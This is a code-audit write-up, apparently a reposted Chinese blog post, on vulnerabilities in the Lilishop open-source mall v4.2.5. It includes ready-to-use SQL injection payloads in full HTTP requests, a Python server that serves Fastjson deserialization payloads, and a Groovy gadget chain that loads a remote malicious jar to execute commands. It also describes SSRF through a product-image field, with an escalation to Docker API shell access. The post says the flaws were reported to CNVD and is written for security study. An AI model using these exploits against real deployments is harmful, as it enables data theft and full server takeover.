• Lilishop 开源商城系统代码审计


    Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。

    0x00 前言

    Lilishop 开源商城系统是基于SpringBoot的全端开源电商商城系统,是北京宏业汇成科技有限公司提供的开源系统。该开源商城包含的功能点多,涵盖业务全面,代码审计时没有过于关注业务逻辑只关注了对系统的完整性、保密性、可用性造成损坏的漏洞点。文章分享了比较有意思的SSRF利用方式。

    0x01 声明

    遵纪守法
    公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
    请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
    请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
    一切未经授权的网络攻击均为违法行为,互联网非法外之地。
    漏洞报送
    该文章涉及的漏洞已提交到CNVD、CNNVD平台。
    文章转载
    商业转载请联系作者获得授权,非商业转载请注明出处。
    作者公众号:响尾蛇社区

    0x02 环境

    Lilishop 开源商城系统版本:v4.2.5
    系统环境:Window11
    JAVA版本:1.8.0_381
    Nodejs版本:v14.21.3

    0x03 安装

    搭建该系统需要配置内存大于或等于32GB,需要部署买家、卖家、商城管理三端,分别有前后端,一共六个服务。
    参考:本地搭建(Windows) · LILISHOP-开发者中心
    拉取后端源码

    git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop.git
    

    拉取前端源码

    git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git
    

    前端源码初始化并运行

    1. npm install yarn
    2. yarn install
    3. yarn run dev

    在安装过程中我需要了下面的报错问题。

    image.png

    解决命令如下:

    1. yarn remove webpack
    2. yarn remove compression-webpack-plugin
    3. yarn add webpack@^4.36.0
    4. yarn add compression-webpack-plugin@^6.0.5

    0x04 代码审计

    【高危】分页插件导致数十个SQL注入

    这里的SQL注入漏洞点都是由一个地方导致的,漏洞注入的地方为order by,依据 Mybatis 特性不能多行执行,且存在函数黑名单,所以利用上有限。

    漏洞复现

    【前台】漏洞位置:获取APP版本

    构造数据包:

    1. GET /buyer/other/appVersion/appVersion/ANDROID?pageNumber=1&pageSize=5&type=ANNOUNCEMENT&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc HTTP/1.1
    2. Host: localhost:8888
    3. sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
    4. Accept: application/json, text/plain, */*
    5. uuid: 522c39df-cd28-4edd-a46e-4d38b717554e
    6. sec-ch-ua-mobile: ?0
    7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
    8. sec-ch-ua-platform: "Windows"
    9. Origin: http://localhost:10000
    10. Sec-Fetch-Site: same-site
    11. Sec-Fetch-Mode: cors
    12. Sec-Fetch-Dest: empty
    13. Referer: http://localhost:10000/
    14. Accept-Encoding: gzip, deflate
    15. Accept-Language: zh-CN,zh;q=0.9
    16. Connection: close

    image.png

    后台查看SQL执行情况:

    image.png

    预编译的SQL语句为:

    SELECT id, create_time, create_by, version, version_name, content, force_update, download_url, type, version_update_date FROM li_app_version WHERE (type = ?) ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ?
    

    除了报错注入,我们还可以使用布尔方式进行注入:
    语句是获取所有表名并使用group_concat将所有表名合成一行字符串输出,我们通过这种布尔的方式可以逐步爆破出所有的表名。

    1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=73,1,(select 1 union select 2))
    

    如果字符串第一位不是为ascii码中的73就会出现以下报错。

    image.png

    1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=108,1,(select 1 union select 2))
    

    正确后正常返回数据。

    image.png

    【后台】漏洞位置:计量单位

    访问 http://localhost:10003/goodsUnit 登录后台并进入到商品->计量单位界面。

    image.png

    抓包并修改sort参数为 payload:

    updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)
    
    1. GET /manager/goods/goodsUnit?_t=1690460576&pageNumber=1&pageSize=10&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc&name= HTTP/1.1
    2. Host: localhost:8887
    3. sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
    4. Accept: application/json, text/plain, */*
    5. accessToken: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyQ29udGV4dCI6IntcInVzZXJuYW1lXCI6XCJhZG1pblwiLFwibmlja05hbWVcIjpcIuWIneS4gFwiLFwiZmFjZVwiOlwiaHR0cHM6Ly9saWxpc2hvcC1vc3Mub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzY1ZTg3ZmZhNzE4YjQyYmI5YzIwMTcxMjU2NmRiYzlhLnBuZ1wiLFwiaWRcIjpcIjEzMzczMDYxMTAyNzc0NzYzNTJcIixcImxvbmdUZXJtXCI6ZmFsc2UsXCJyb2xlXCI6XCJNQU5BR0VSXCIsXCJpc1N1cGVyXCI6dHJ1ZX0iLCJzdWIiOiJhZG1pbiIsImV4cCI6MTY5MDQ2MjI5OX0.3R2xS64WcysJVEJwnVpOZwLqMsMVGwYtuD9Y7qQIyYE
    6. uuid: 41e9b550-5ee8-4db1-9533-129a5492af48
    7. sec-ch-ua-mobile: ?0
    8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
    9. sec-ch-ua-platform: "Windows"
    10. Origin: http://localhost:10003
    11. Sec-Fetch-Site: same-site
    12. Sec-Fetch-Mode: cors
    13. Sec-Fetch-Dest: empty
    14. Referer: http://localhost:10003/
    15. Accept-Encoding: gzip, deflate
    16. Accept-Language: zh-CN,zh;q=0.9
    17. Connection: close

    image.png

    后台查看SQL执行情况:

    image.png

    预编译的SQL语句为:

    SELECT id, name, create_by, create_time, update_by, update_time, delete_flag FROM li_goods_unit ORDER BY updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) DESC LIMIT ?
    

    更多的利用方式:常见的sql注入方式和waf绕过 - sp4rk’s blog
    默认开启Druid拦截功能:Druid拦截功能的配置与简单绕过
    拦截功能配置:配置 wallfilter
    默认函数黑名单:

    image.png

    漏洞分析

    其中的initPage函数处理中使用了addOrder但是没有对sort进行SQL语句过滤。
    framework/src/main/java/cn/lili/mybatis/util/PageUtil.java

    image.png

    全局搜索PageUtil.initPage

    image.png

    根据spring自动绑定的特性,若此时加入orders参数的传递,同样的后端会进行对应的实体封装,最终带入到sql查询中,同时因为order by场景下MybatisPlus并没有相关的安全措施 ,会导致SQL注入风险。
    通过这种请求入口,自动获取ordersort字段。以下是其中一个。
    manager-api/src/main/java/cn/lili/controller/goods/GoodsUnitManagerController.java

    image.png

    断点测试时,发现存在恶意的sort内容被保留,并在后续拼接到预编译SQL语句。

    image.png

    关于分页插件注入更多信息请查看:SecIN

    【高危】SSRF导致FastJson反序列化RCE

    漏洞复现

    我们准备一个返回FastJson payload 的响应数据包。
    这里我从Maven拉取的Fastjson版本较高1.2.78(依据framework/pom.xml自动拉取)

    image.png

    我选择使用 payload

    {"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}
    
    1. from http.server import BaseHTTPRequestHandler, HTTPServer
    2. import json
    3. # 创建一个自定义的HTTP请求处理类
    4. class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    5. def do_POST(self):
    6. # 设置响应头
    7. self.send_response(200)
    8. self.send_header('Content-type', 'application/json')
    9. self.end_headers()
    10. # 处理POST请求的逻辑
    11. if self.path == '/getmsg':
    12. # 在这里编写处理POST请求的代码
    13. # 例如,您可以从请求中获取数据,进行处理,然后返回响应数据
    14. response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
    15. self.wfile.write(response_data.encode())
    16. else:
    17. # 如果请求路径不是'/getmsg',返回404 Not Found
    18. self.send_response(404)
    19. self.end_headers()
    20. self.wfile.write(b'404 Not Found')
    21. # 启动HTTP服务器并监听指定端口
    22. def start_http_server(port=14533):
    23. server_address = ('', port)
    24. httpd = HTTPServer(server_address, MyHTTPRequestHandler)
    25. print(f"Starting HTTP server on port {port}...")
    26. try:
    27. # 启动HTTP服务器,等待请求
    28. httpd.serve_forever()
    29. except KeyboardInterrupt:
    30. # 捕捉Ctrl+C退出信号,关闭HTTP服务器
    31. httpd.server_close()
    32. print("\nHTTP server stopped.")
    33. if __name__ == '__main__':
    34. # 启动HTTP服务器并监听端口8000
    35. start_http_server()

    更多的payload:GitHub - safe6Sec/Fastjson: Fastjson姿势技巧集合

    使用python运行该文件并进入到运营后台 http://localhost:10003/sys/setting

    查看物流处利用

    设置->系统设置->快递鸟设置reqURL修改成http://127.0.0.1:14533/getmsg

    image.png

    准备好这个之后,我们有很多出地方可以出发这个请求。
    比如这里是商家查看获取物流,我们还可以在买家端、运营端找到这个功能。
    这里是需要存在一个订单处于已发货状态。

    image.png

    当我们点击后在dnslog.cn可以获得解析记录。

    image.png

    Fastjson <= 1.2.80 可以打三种不同的利用链,这里我发现存在其中一种利用链groovy
    org.codehaus.groovy.control.CompilationFailedException

    image.png

    改写我们的Exp python文件。

    1. ...
    2. # 处理POST请求的逻辑
    3. if self.path == '/getmsg':
    4. # 在这里编写处理POST请求的代码
    5. # 例如,您可以从请求中获取数据,进行处理,然后返回响应数据
    6. # response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
    7. response_data1 = "{\n" \
    8. " \"@type\":\"java.lang.Exception\",\n" \
    9. " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" \
    10. " \"unit\":{\n" \
    11. " }\n" \
    12. "}"
    13. response_data2 = "{\n" \
    14. " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" \
    15. " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" \
    16. " \"config\":{\n" \
    17. " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" \
    18. " \"classpathList\":[\"http://127.0.0.1:35260/attack-1.jar\"]\n" \
    19. " },\n" \
    20. " \"gcl\":null,\n" \
    21. " \"destDir\": \"/tmp\"\n" \
    22. "}";
    23. # self.wfile.write(json.dumps(response_data1).encode())
    24. self.wfile.write(response_data1.encode())
    25. ...

    这里有两步请求 payload :

    1. 实例化org.codehaus.groovy.control.ProcessingUnit并把org.codehaus.groovy.control.ProcessingUnit加入反序列化缓存。

      1. {
      2. "@type":"java.lang.Exception",
      3. "@type":"org.codehaus.groovy.control.CompilationFailedException",
      4. "unit":{}
      5. }
    2. 通过GroovyClassLoader加载恶意Class

      1. {
      2. "@type":"org.codehaus.groovy.control.ProcessingUnit",
      3. "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
      4. "config":{
      5. "@type":"org.codehaus.groovy.control.CompilerConfiguration",
      6. "classpathList":"http://127.0.0.1:35260/attack-1.jar"
      7. }
      8. }

      下载 GitHub - Lonely-night/fastjsonVul: fastjson 80 远程代码执行漏洞复现
      修改attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java
      修改默认执行命令,我使用的是window环境,所以修改成calc.exe

    image.png

    通过maven package打包成 jar,然后到jar的目录下执行python -m http.server 35260
    接下来分别让FastJson解析两个payload后就执行了我们想要的命令。

    image.png

    总的过程:

    1. 运营后台修改reqURL
    2. 启动 python 脚本进行监听
    3. 点击查看物流
    4. 编辑 python 脚本切换 payload 并启动监听
    5. 恶意jar目录下启动python http服务监听
    6. 点击查看物流
    7. Boom!

    过程.gif

    参考资料:
    fastjson 1.2.80绕过简单分析 - rnss - 博客园
    fastjson 1.2.80 漏洞分析
    Fastjson 漏洞梳理

    打印电子面单处利用

    设置->系统设置->快递鸟设置电子面单URL修改成http://127.0.0.1:14533/getmsg

    image.png

    保存后,我们登录商家端,在订单->商品订单找一个待发货的订单,进入订单详情后,点击打印电子面单然后点击确认。

    image.png

    脚本可以收到请求信息

    image.png

    按照上面发送两个请求后一样能够RCE。

    image.png

    漏洞分析

    查看物流处利用

    发现getOrderTracesByJson函数中存在两行代码:

    1. String result = sendPost(ReqURL, params);
    2. Map map = (Map) JSON.parse(result);

    其作用是对ReqURL发起Post请求,然后将返回的内容交给FastJson的JSON.parse函数,即将返回的JSON内容转换成Java对象。
    framework/src/main/java/cn/lili/modules/system/serviceimpl/LogisticsServiceImpl.java

    image.png

    这里的ReqURL是由快递鸟设置的。

    image.png

    只有同一文件中的函数getLogistic调用了它。

    image.png

    但它存在两个用法,分别是AfterSaleServiceImplOrderServiceImpl,分别是查看订单里的查看物流功能和退货后里的查看物流功能,总共有五处可以触发该功能。

    image.png

    查看物流实现的是getTraces接口。
    framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java

    image.png

    有三处调用,分别是买家、运营、商家。

    image.png

    打印电子面单处利用

    framework/src/main/java/cn/lili/modules/kdBrid/serviceImpl/KdNiaoServiceImpl.java

    image.png

    image.png

    seller-api/src/main/java/cn/lili/controller/order/OrderStoreController.java

    image.png

    总的来说,需要完成此RCE需要运营权限,需要存在一个待发货或者已发货订单,需要一台VPS,需要对方服务器能够出网。是一个后台的RCE漏洞,相对来说利用复杂度高。

    【中危】商家后台添加商品处SSRF

    漏洞出现的原因是没有对数据包中的图片网络地址进行校验,构造了GET请求。从具体来看,这里只能执行HTTP、HTTPS的协议且没有回显,能利用的范围极其有限。

    漏洞复现

    我们先在运营后台http://localhost:10003/sys/authLogin
    设置->信任登录填写好appid和appSecret。

    image.png

    然后进入卖家后台http://localhost:10002/liveGoods
    营销->直播商品选择添加商品,任意选择商品点击确定。

    image.png

    抓包后修改goodsImage参数即可。

    image.png

    监听的服务能够接收到请求。

    image.png

    请求数据包:

    1. POST /store/broadcast/commodity HTTP/1.1
    2. Host: localhost:8889
    3. Content-Length: 280
    4. sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
    5. accessToken: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyQ29udGV4dCI6IntcInVzZXJuYW1lXCI6XCIxMzAxMTExMTExMVwiLFwibmlja05hbWVcIjpcIuW8oOS4iVwiLFwiZmFjZVwiOlwiaHR0cHM6Ly9saWxpc2hvcC1vc3Mub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tLzE1OGJmZjgzMWNmZjQ5OWE4ZDQ1YTIyNmE2ZTAyMGMyLnBuZ1wiLFwiaWRcIjpcIjEzNzY0MTc2ODQxNDAzMjY5MTJcIixcImxvbmdUZXJtXCI6ZmFsc2UsXCJyb2xlXCI6XCJTVE9SRVwiLFwic3RvcmVJZFwiOlwiMTM3NjQzMzU2NTI0NzQ3MTYxNlwiLFwiY2xlcmtJZFwiOlwiMTM3NjQzMzU2NTI0NzQ3MTYxNlwiLFwic3RvcmVOYW1lXCI6XCLlrrblrrbkuZBcIixcImlzU3VwZXJcIjp0cnVlfSIsInN1YiI6IjEzMDExMTExMTExIiwiZXhwIjoxNjkwNDU4ODM5fQ.Ewl3h-FG0X46mhJWPS3ZKDvsOMmtwyuDtSM1wbr8umk
    6. sec-ch-ua-mobile: ?0
    7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
    8. Content-Type: application/json
    9. Accept: application/json, text/plain, */*
    10. uuid: 4cbd68bb-d1cd-4763-b74e-961dc910f418
    11. sec-ch-ua-platform: "Windows"
    12. Origin: http://localhost:10002
    13. Sec-Fetch-Site: same-site
    14. Sec-Fetch-Mode: cors
    15. Sec-Fetch-Dest: empty
    16. Referer: http://localhost:10002/
    17. Accept-Encoding: gzip, deflate
    18. Accept-Language: zh-CN,zh;q=0.9
    19. Connection: close
    20. [
    21. {
    22. "goodsId": "1422073672823595010",
    23. "goodsImage": "http://127.0.0.1:4567",
    24. "name": " OPPO Reno6 5G 星黛紫 8G+128G 64G",
    25. "price": 4999,
    26. "quantity": 95,
    27. "price2": "",
    28. "priceType": 1,
    29. "skuId": "1422073673050087425",
    30. "url": "pages/product/goods?id=1422073673050087425&goodsId=1422073672823595010"
    31. }
    32. ]

    后续利用
    受到CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试的启发,如果目标机器存在docker 2375端口监听且没有设置验证密码的情况下,我们可以通过SSRF请求2375的/build完成Build an image功能。挂载到特殊目录完成GetShell(只适合Linux系统)。
    Docker Engine API v1.41 Reference

    image.png

    如果出现开启但是没有监听可以通过游览这个页面解决
    https://github.com/docker/for-win/issues/3546

    漏洞分析

    framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java

    image.png

    framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java

    image.png

    framework/src/main/java/cn/lili/modules/goods/serviceimpl/CommodityServiceImpl.java

    image.png

    seller-api/src/main/java/cn/lili/controller/other/broadcast/CommodityStoreController.java

    image.png

    0x05 总结

    在审计SpringBoot框架的代码时,我主要从高危漏洞入手,一般关注注入漏洞比较多。在实践过程中,大部分的业务点不会涉及到远程加载未验证类的情况,存在RCE的地方一般会伴随反序列化漏洞。

                                               hack渗透视频 网安资料欢迎领取

    免费领取安全学习资料包!(私聊进群一起学习,共同进步)icon-default.png?t=N7T8https://docs.qq.com/doc/DRGJHbUxpTWR2Y3lq

  • 相关阅读:
    【算法挨揍日记】day31——673. 最长递增子序列的个数、646. 最长数对链
    Vivado使用入门之四:时序约束操作大全
    【动态规划】区间动态规划
    Promrtheus+Grafana+onealert--实现报警
    斯坦福机器学习 Lecture1 (机器学习,监督学习、回归问题、分类问题定义)
    『 基础算法题解 』之双指针(下)
    Whale News | 帷幄获公安部信息安全「等保三级」认证,信息安全体系建设行业领先
    ❤ hexo主题+Gitee搭建个人博客
    如何让一颗芯片提前出厂打工
    手写SVG图片
  • 原文地址:https://blog.csdn.net/hackzkaq/article/details/134037861